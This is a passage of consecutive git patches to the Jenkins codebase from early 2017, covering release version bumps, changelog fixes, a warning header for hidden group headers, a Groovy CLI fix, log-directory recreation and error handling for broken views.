a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 test diff --git a/war/pom.xml b/war/pom.xml index 282991fc10..a219bbf3bc 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44-SNAPSHOT + 2.44 jenkins-war -- GitLab From 07f32fec4fc0990f01d1ae2ed50f6630c733a76b Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 1 Feb 2017 05:31:36 -0800 Subject: [PATCH 764/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index bb7e636c10..fb9d90f375 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 20feeab9ab..321ae67b51 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 352319620b..5efa721d02 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.44 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ddd9681186..633969b424 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index a219bbf3bc..67d9f32a82 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.44 + 2.45-SNAPSHOT jenkins-war -- GitLab From 232818c93dd288526c6a470eb1c3f1483f143bb2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Wed, 1 Feb 2017 05:38:22 -0800 Subject: [PATCH 765/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 781adb6a45..1b3f5e533b 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                                          +

                                                          What's new in 2.44 (2017/02/01)

                                                          +
                                                            +
                                                          • +

                                                          What's new in 2.42 (2017/01/22)

                                                          • -- GitLab From d0cdaa06f7b9f7f094277c0a1d71972c67138217 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 1 Feb 2017 15:36:38 +0100 Subject: [PATCH 766/811] Fix changelog entries for 2.43 and 2.44 --- changelog.html | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/changelog.html b/changelog.html index 8917519456..e3d741955e 100644 --- a/changelog.html +++ b/changelog.html @@ -55,21 +55,21 @@ Upcoming changes +

                                                            What's new in 2.44 (2017/02/01)

                                                            - -

                                                            What's new in 2.44 (2017/02/01)

                                                            +

                                                            What's new in 2.43 (2017/01/29)

                                                            • Print stack traces in logical order, with the most important part on top. (pull 1485)
                                                            -

                                                            What's new in 2.43 (2017/01/29)

                                                            -
                                                              -

                                                            What's new in 2.42 (2017/01/22)

                                                            • -- GitLab From 20ceadb36636cdffc1e5b215ce23df1a03cdd04d Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 3 Feb 2017 12:13:42 -0500 Subject: [PATCH 767/811] @oleg-nenashev requests a warning about the disabled headers. --- core/src/main/java/hudson/security/AccessDeniedException2.java | 2 ++ .../test/java/hudson/security/AccessDeniedException2Test.java | 1 + 2 files changed, 3 insertions(+) diff --git a/core/src/main/java/hudson/security/AccessDeniedException2.java b/core/src/main/java/hudson/security/AccessDeniedException2.java index 722451030c..7b39396bf6 100644 --- a/core/src/main/java/hudson/security/AccessDeniedException2.java +++ b/core/src/main/java/hudson/security/AccessDeniedException2.java @@ -47,6 +47,8 @@ public class AccessDeniedException2 extends AccessDeniedException { for (GrantedAuthority auth : authentication.getAuthorities()) { rsp.addHeader("X-You-Are-In-Group",auth.getAuthority()); } + } else { + rsp.addHeader("X-You-Are-In-Group-Disabled", "JENKINS-39402: use -Dhudson.security.AccessDeniedException2.REPORT_GROUP_HEADERS=true or use /whoAmI to diagnose"); } rsp.addHeader("X-Required-Permission", permission.getId()); for (Permission p=permission.impliedBy; p!=null; p=p.impliedBy) { diff --git a/test/src/test/java/hudson/security/AccessDeniedException2Test.java b/test/src/test/java/hudson/security/AccessDeniedException2Test.java index 20a6172241..2d43f61919 100644 --- a/test/src/test/java/hudson/security/AccessDeniedException2Test.java +++ b/test/src/test/java/hudson/security/AccessDeniedException2Test.java @@ -54,6 +54,7 @@ public class AccessDeniedException2Test { fail("should not have been allowed to access anything"); } catch (FailingHttpStatusCodeException x) { assertEquals(HttpURLConnection.HTTP_FORBIDDEN, x.getStatusCode()); + assertNotNull(x.getResponse().getResponseHeaderValue("X-You-Are-In-Group-Disabled")); } } -- GitLab From d46fc53ca4215bf84ecacadbe03e7789c9c019ec Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 3 Feb 2017 12:19:43 -0500 Subject: [PATCH 768/811] Disable Windows builds until they are fixed. --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 73bcc7ae51..1a67c6c585 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -19,7 +19,7 @@ properties([[$class: 'jenkins.model.BuildDiscarderProperty', strategy: [$class: artifactNumToKeepStr: '20']]]) // see https://github.com/jenkins-infra/documentation/blob/master/ci.adoc for information on what node types are available -def buildTypes = ['Linux', 'Windows'] +def buildTypes = ['Linux'] // TODO add 'Windows' def builds = [:] for(i = 0; i < buildTypes.size(); i++) { -- GitLab From 9b52620eb7c3dcc2e442684034413ebf31ca0b4c Mon Sep 17 00:00:00 2001 From: Claudiu Guiman Date: Fri, 3 Feb 2017 15:53:41 -0800 Subject: [PATCH 769/811] Update findFormItem so it can return checked radio buttons --- war/src/main/webapp/scripts/hudson-behavior.js | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/war/src/main/webapp/scripts/hudson-behavior.js b/war/src/main/webapp/scripts/hudson-behavior.js index fda4a9aed3..4af1ebb058 100644 --- a/war/src/main/webapp/scripts/hudson-behavior.js +++ b/war/src/main/webapp/scripts/hudson-behavior.js @@ -350,7 +350,14 @@ function findNext(src,filter) { function findFormItem(src,name,directionF) { var name2 = "_."+name; // handles notation silently - return directionF(src,function(e){ return (e.tagName=="INPUT" || e.tagName=="TEXTAREA" || e.tagName=="SELECT") && (e.name==name || e.name==name2); }); + return directionF(src,function(e){ + if (e.tagName == "INPUT" && e.type=="radio" && e.checked==true) { + var r = 0; + while (e.name.substring(r,r+8)=='removeme') //radio buttons have must be unique in repeatable blocks so name is prefixed + r = e.name.indexOf('_',r+8)+1; + return name == e.name.substring(r); + } + return (e.tagName=="INPUT" || e.tagName=="TEXTAREA" || e.tagName=="SELECT") && (e.name==name || e.name==name2); }); } /** -- GitLab From 7a268918895a1028e73483bd636a04c9f6967ad7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 6 Feb 2017 02:56:53 -0800 Subject: [PATCH 770/811] [maven-release-plugin] prepare release jenkins-2.45 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index fb9d90f375..77b415123c 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 cli diff --git a/core/pom.xml b/core/pom.xml index 321ae67b51..28b99dc43c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 jenkins-core diff --git a/pom.xml b/pom.xml index 5efa721d02..dd3c5e4e9c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.45 diff --git a/test/pom.xml b/test/pom.xml index 633969b424..55444cb212 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 test diff --git a/war/pom.xml b/war/pom.xml index 67d9f32a82..56bb296469 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45-SNAPSHOT + 2.45 jenkins-war -- GitLab From 9a205e5f79202fbc639db3858200a7393fd7653c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 6 Feb 2017 02:56:53 -0800 Subject: [PATCH 771/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 77b415123c..a41bf024f3 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 28b99dc43c..9da68d4aa9 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index dd3c5e4e9c..0be4d5f073 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.45 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 55444cb212..217e1331a0 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 56bb296469..f51f36bebe 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.45 + 2.46-SNAPSHOT jenkins-war -- GitLab From 92720ab99b46da5af43ab046b171c8ed220cf86c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 6 Feb 2017 03:04:31 -0800 Subject: [PATCH 772/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index e3d741955e..dc31cc3aac 100644 --- a/changelog.html +++ b/changelog.html @@ -56,8 +56,12 @@ Upcoming changes +

                                                              What's new in 2.45 (2017/02/06)

                                                              +
                                                                +

                                                              What's new in 2.44 (2017/02/01)

                                                              • -- GitLab From e6a9b739f98fb30c476de9506282563dacb2bae2 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 6 Feb 2017 13:37:40 +0100 Subject: [PATCH 773/811] Changelog: Noting 2.45 --- changelog.html | 2 ++ 1 file changed, 2 insertions(+) diff --git a/changelog.html b/changelog.html index dc31cc3aac..873fbacc5b 100644 --- a/changelog.html +++ b/changelog.html @@ -61,6 +61,8 @@ Upcoming changes

                                                                What's new in 2.45 (2017/02/06)

                                                                  +
                                                                • + No user-visible changes.

                                                                What's new in 2.44 (2017/02/01)

                                                                  -- GitLab From 7b82a301b29421dfefb1eb215479cc355287272e Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Mon, 6 Feb 2017 13:58:10 +0100 Subject: [PATCH 774/811] [FIX JENKINS-41457] Use BUILD_NOW_TEXT for parameterised jobs --- .../jenkins/model/ParameterizedJobMixIn.java | 3 ++- .../util/AlternativeUiTextProviderTest.java | 20 +++++++++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java b/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java index da17b0d23a..c148d1fc98 100644 --- a/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java +++ b/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java @@ -278,7 +278,8 @@ public abstract class ParameterizedJobMixIn & Param * Uses {@link #BUILD_NOW_TEXT}. */ public final String getBuildNowText() { - return isParameterized() ? Messages.ParameterizedJobMixIn_build_with_parameters() : AlternativeUiTextProvider.get(BUILD_NOW_TEXT, asJob(), Messages.ParameterizedJobMixIn_build_now()); + return isParameterized() ? AlternativeUiTextProvider.get(BUILD_NOW_TEXT, asJob(), Messages.ParameterizedJobMixIn_build_with_parameters()) + : AlternativeUiTextProvider.get(BUILD_NOW_TEXT, asJob(), Messages.ParameterizedJobMixIn_build_now()); } /** diff --git a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java index 8146f05744..266a4ff824 100644 --- a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java +++ b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java @@ -25,6 +25,8 @@ package hudson.util; import hudson.model.AbstractProject; import hudson.model.FreeStyleProject; +import hudson.model.ParametersDefinitionProperty; +import hudson.model.StringParameterDefinition; import jenkins.model.ParameterizedJobMixIn; import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.assertThat; @@ -58,9 +60,27 @@ public class AlternativeUiTextProviderTest { */ @Test public void basics() throws Exception { + Impl.oldschool = false; FreeStyleProject p = j.createFreeStyleProject("aaa"); assertThat(j.createWebClient().getPage(p).asText(), containsString("newschool:aaa")); + Impl.oldschool = true; assertThat(j.createWebClient().getPage(p).asText(), containsString("oldschool:aaa")); } + + /** + * Makes sure that {@link AlternativeUiTextProvider} actually works with a parameterized Job. + */ + @Test + public void basicsWithParameter() throws Exception { + Impl.oldschool = false; + FreeStyleProject p = j.createFreeStyleProject("aaa"); + p.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("FOO", null))); + String pageText = j.createWebClient().getPage(p).asText(); + assertThat(pageText, containsString("newschool:aaa")); + + Impl.oldschool = true; + pageText = j.createWebClient().getPage(p).asText(); + assertThat(pageText, containsString("oldschool:aaa")); + } } -- GitLab From 0d3d6b65bf134ba01d67908db63212dc54aa1c58 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 6 Feb 2017 17:13:02 +0100 Subject: [PATCH 775/811] [FIX JENKINS-41765] Allow groovy CLI command via SSH --- .../main/java/hudson/cli/GroovyCommand.java | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/hudson/cli/GroovyCommand.java b/core/src/main/java/hudson/cli/GroovyCommand.java index 144c2dfe0c..e7b2479516 100644 --- a/core/src/main/java/hudson/cli/GroovyCommand.java +++ b/core/src/main/java/hudson/cli/GroovyCommand.java @@ -71,14 +71,17 @@ public class GroovyCommand extends CLICommand { binding.setProperty("stdout",stdout); binding.setProperty("stderr",stderr); binding.setProperty("channel",channel); - String j = getClientEnvironmentVariable("JOB_NAME"); - if (j!=null) { - Item job = Jenkins.getActiveInstance().getItemByFullName(j); - binding.setProperty("currentJob", job); - String b = getClientEnvironmentVariable("BUILD_NUMBER"); - if (b!=null && job instanceof AbstractProject) { - Run r = ((AbstractProject) job).getBuildByNumber(Integer.parseInt(b)); - binding.setProperty("currentBuild", r); + + if (channel != null) { + String j = getClientEnvironmentVariable("JOB_NAME"); + if (j != null) { + Item job = Jenkins.getActiveInstance().getItemByFullName(j); + binding.setProperty("currentJob", job); + String b = getClientEnvironmentVariable("BUILD_NUMBER"); + if (b != null && job instanceof AbstractProject) { + Run r = ((AbstractProject) job).getBuildByNumber(Integer.parseInt(b)); + binding.setProperty("currentBuild", r); + } } } -- GitLab From 860144b1d2e16ad8105bf0f6b04f09a807989f8c Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 6 Feb 2017 21:42:59 +0100 Subject: [PATCH 776/811] Fix 2.45 changelog --- changelog.html | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/changelog.html b/changelog.html index 873fbacc5b..63e6f53241 100644 --- a/changelog.html +++ b/changelog.html @@ -61,8 +61,18 @@ Upcoming changes

                                                                  What's new in 2.45 (2017/02/06)

                                                                    -
                                                                  • - No user-visible changes. +
                                                                  • + Delete obsolete pinning UI. + (issue 34065) +
                                                                  • + Don't try to set Agent Port when it is enforced, breaking form submission. + (issue 41511) +
                                                                  • + Use project-specific validation URL for SCM Trigger, so H is handled correctly in preview. + (issue 26977) +
                                                                  • + Fix completely wrong Basque translation. + (pull 2731)

                                                                  What's new in 2.44 (2017/02/01)

                                                                    -- GitLab From d6f72a3b6bf720f341ad09788c7cafa10b4203fe Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Mon, 6 Feb 2017 22:13:38 +0100 Subject: [PATCH 777/811] [FIX JENKINS-41457] Include issue number in the test --- .../test/java/hudson/util/AlternativeUiTextProviderTest.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java index 266a4ff824..5afe78cbd9 100644 --- a/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java +++ b/test/src/test/java/hudson/util/AlternativeUiTextProviderTest.java @@ -32,6 +32,7 @@ import static org.hamcrest.Matchers.containsString; import static org.junit.Assert.assertThat; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.TestExtension; @@ -72,6 +73,7 @@ public class AlternativeUiTextProviderTest { * Makes sure that {@link AlternativeUiTextProvider} actually works with a parameterized Job. */ @Test + @Issue("JENKINS-41757") public void basicsWithParameter() throws Exception { Impl.oldschool = false; FreeStyleProject p = j.createFreeStyleProject("aaa"); -- GitLab From afe17a4bda72dc722e505967efc88ef449c0fd75 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 6 Feb 2017 17:23:31 -0500 Subject: [PATCH 778/811] [FIXED JENKINS-16634] Do not fail to write a log file just because something deleted the parent directory. --- core/pom.xml | 1 + .../util/io/RewindableFileOutputStream.java | 2 ++ ...windableRotatingFileOutputStreamTest.java} | 33 +++++++++++++++---- 3 files changed, 30 insertions(+), 6 deletions(-) rename core/src/test/java/hudson/util/io/{ReopenableRotatingFileOutputStreamTest.java => RewindableRotatingFileOutputStreamTest.java} (53%) diff --git a/core/pom.xml b/core/pom.xml index 9da68d4aa9..70e15b5f47 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -772,6 +772,7 @@ THE SOFTWARE. 0.5C true -XX:MaxPermSize=128m -noverify + false diff --git a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java index 444040d589..b7bb2b5f02 100644 --- a/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java +++ b/core/src/main/java/hudson/util/io/RewindableFileOutputStream.java @@ -28,6 +28,7 @@ import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; +import org.apache.commons.io.FileUtils; /** * {@link OutputStream} that writes to a file. @@ -48,6 +49,7 @@ public class RewindableFileOutputStream extends OutputStream { private synchronized OutputStream current() throws IOException { if (current == null) { if (!closed) { + FileUtils.forceMkdir(out.getParentFile()); try { current = new FileOutputStream(out,false); } catch (FileNotFoundException e) { diff --git a/core/src/test/java/hudson/util/io/ReopenableRotatingFileOutputStreamTest.java b/core/src/test/java/hudson/util/io/RewindableRotatingFileOutputStreamTest.java similarity index 53% rename from core/src/test/java/hudson/util/io/ReopenableRotatingFileOutputStreamTest.java rename to core/src/test/java/hudson/util/io/RewindableRotatingFileOutputStreamTest.java index 94fc5cf9ed..867ac546a6 100644 --- a/core/src/test/java/hudson/util/io/ReopenableRotatingFileOutputStreamTest.java +++ b/core/src/test/java/hudson/util/io/RewindableRotatingFileOutputStreamTest.java @@ -9,16 +9,20 @@ import org.junit.Test; import java.io.File; import java.io.IOException; import java.io.PrintWriter; +import org.apache.commons.io.FileUtils; +import org.junit.Rule; +import org.junit.rules.TemporaryFolder; +import org.jvnet.hudson.test.Issue; -/** - * @author Kohsuke Kawaguchi - */ -public class ReopenableRotatingFileOutputStreamTest { +public class RewindableRotatingFileOutputStreamTest { + + @Rule + public TemporaryFolder tmp = new TemporaryFolder(); @Test public void rotation() throws IOException, InterruptedException { - File base = File.createTempFile("test", "log"); - ReopenableRotatingFileOutputStream os = new ReopenableRotatingFileOutputStream(base,3); + File base = tmp.newFile("test.log"); + RewindableRotatingFileOutputStream os = new RewindableRotatingFileOutputStream(base,3); PrintWriter w = new PrintWriter(os,true); for (int i=0; i<=4; i++) { w.println("Content"+i); @@ -35,4 +39,21 @@ public class ReopenableRotatingFileOutputStreamTest { os.deleteAll(); } + + @Issue("JENKINS-16634") + @Test + public void deletedFolder() throws Exception { + File dir = tmp.newFolder("dir"); + File base = new File(dir, "x.log"); + RewindableRotatingFileOutputStream os = new RewindableRotatingFileOutputStream(base, 3); + for (int i = 0; i < 2; i++) { + FileUtils.deleteDirectory(dir); + os.write('.'); + FileUtils.deleteDirectory(dir); + os.write('.'); + FileUtils.deleteDirectory(dir); + os.rewind(); + } + } + } -- GitLab From fcf4ca7697b4a5293c95b221669f202621b178f7 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 7 Feb 2017 13:21:22 -0500 Subject: [PATCH 779/811] [FIXED JENKINS-41825] Display an informative message, rather than a Groovy exception, when View.getItems fails. --- .../resources/hudson/model/View/main.groovy | 4 ++- .../hudson/model/View/main.properties | 23 ++++++++++++ test/src/test/java/hudson/model/ViewTest.java | 35 ++++++++++++++++++- 3 files changed, 60 insertions(+), 2 deletions(-) create mode 100644 core/src/main/resources/hudson/model/View/main.properties diff --git a/core/src/main/resources/hudson/model/View/main.groovy b/core/src/main/resources/hudson/model/View/main.groovy index 449e992fd1..52a25f3a60 100644 --- a/core/src/main/resources/hudson/model/View/main.groovy +++ b/core/src/main/resources/hudson/model/View/main.groovy @@ -3,7 +3,9 @@ package hudson.model.View; t=namespace(lib.JenkinsTagLib) st=namespace("jelly:stapler") -if (items.isEmpty()) { +if (items == null) { + p(_('broken')) +} else if (items.isEmpty()) { if (app.items.size() != 0) { set("views",my.owner.views); set("currentView",my); diff --git a/core/src/main/resources/hudson/model/View/main.properties b/core/src/main/resources/hudson/model/View/main.properties new file mode 100644 index 0000000000..c974575281 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/main.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright 2017 CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +broken=An error occurred when retrieving jobs for this view. Please consult the Jenkins logs for details. diff --git a/test/src/test/java/hudson/model/ViewTest.java b/test/src/test/java/hudson/model/ViewTest.java index 82314e9841..e4de723f7e 100644 --- a/test/src/test/java/hudson/model/ViewTest.java +++ b/test/src/test/java/hudson/model/ViewTest.java @@ -53,6 +53,9 @@ import hudson.util.HudsonIsLoading; import java.io.File; import java.io.IOException; import java.util.Arrays; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.LogRecord; import jenkins.model.ProjectNamingStrategy; import jenkins.security.NotReallyRoleSensitiveCallable; import static org.junit.Assert.*; @@ -61,6 +64,7 @@ import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; +import org.jvnet.hudson.test.LoggerRule; import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.MockFolder; import org.jvnet.hudson.test.TestExtension; @@ -73,6 +77,8 @@ import org.kohsuke.stapler.DataBoundConstructor; public class ViewTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule + public LoggerRule logging = new LoggerRule(); @Issue("JENKINS-7100") @Test public void xHudsonHeader() throws Exception { @@ -506,7 +512,34 @@ public class ViewTest { private void assertCheckJobName(ViewGroup context, String name, FormValidation.Kind expected) { assertEquals(expected, context.getPrimaryView().doCheckJobName(name).kind); } - + + @Issue("JENKINS-41825") + @Test + public void brokenGetItems() throws Exception { + logging.capture(100).record("", Level.INFO); + j.jenkins.addView(new BrokenView()); + j.createWebClient().goTo("view/broken/"); + boolean found = false; + LOGS: for (LogRecord record : logging.getRecords()) { + for (Throwable t = record.getThrown(); t != null; t = t.getCause()) { + if (t instanceof IllegalStateException && BrokenView.ERR.equals(t.getMessage())) { + found = true; + break LOGS; + } + } + } + assertTrue(found); + } + private static class BrokenView extends ListView { + static final String ERR = "oops I cannot retrieve items"; + BrokenView() { + super("broken"); + } + @Override + public List getItems() { + throw new IllegalStateException(ERR); + } + } @Test @Issue("JENKINS-36908") -- GitLab From ba9755b67b4c1e8a9edcfd01d13b9aa563e51380 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 8 Feb 2017 15:25:17 +0100 Subject: [PATCH 780/811] Fix typo --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 63e6f53241..5d9e9a0e4c 100644 --- a/changelog.html +++ b/changelog.html @@ -115,7 +115,7 @@ Upcoming changes
                                                                  • Support displaying of warnings from the Update Site in the Plugin Manager and in administrative monitors. - (issue 40404, + (issue 40494, announcement blog post)
                                                                  • Do not print warnings about undefined parameters -- GitLab From 2f057b4edde450bb2e6fe86bcd02fd731c8dbc88 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 9 Feb 2017 10:44:19 -0500 Subject: [PATCH 781/811] =?UTF-8?q?@daniel-beck=E2=80=99s=2056da425=20merg?= =?UTF-8?q?ing=20#2722=20implied=20that=20JENKINS-40088=20was=20fixed=20in?= =?UTF-8?q?=202.42;=20in=20fact=20it=20is=20toward=202.46.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- changelog.html | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/changelog.html b/changelog.html index b4e4b58d6e..ee15c0b0f6 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,10 @@ Upcoming changes

                                                                    What's new in 2.45 (2017/02/06)

                                                                    @@ -91,10 +94,6 @@ Upcoming changes
                                                                  • IllegalStateException from Winstone when making certain requests with access logging enabled. (issue 37625) -
                                                                  • - Failure to serialize a single Action could cause an entire REST export response to fail. - Upgraded to Stapler 1.249 with a fix. - (issue 40088)

                                                                  What's new in 2.41 (2017/01/15)

                                                                    -- GitLab From 4343c8697155559d07a86b3d7367d96e01836597 Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Thu, 9 Feb 2017 21:57:08 +0300 Subject: [PATCH 782/811] Annotations for FederatedLoginService. Signed-off-by: Kanstantsin Shautsou --- .../java/hudson/security/FederatedLoginService.java | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/core/src/main/java/hudson/security/FederatedLoginService.java b/core/src/main/java/hudson/security/FederatedLoginService.java index b966fe13d5..908a8e25a0 100644 --- a/core/src/main/java/hudson/security/FederatedLoginService.java +++ b/core/src/main/java/hudson/security/FederatedLoginService.java @@ -35,6 +35,8 @@ import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import javax.servlet.ServletException; import java.io.IOException; import java.io.Serializable; @@ -99,12 +101,14 @@ public abstract class FederatedLoginService implements ExtensionPoint { * The object is bound to 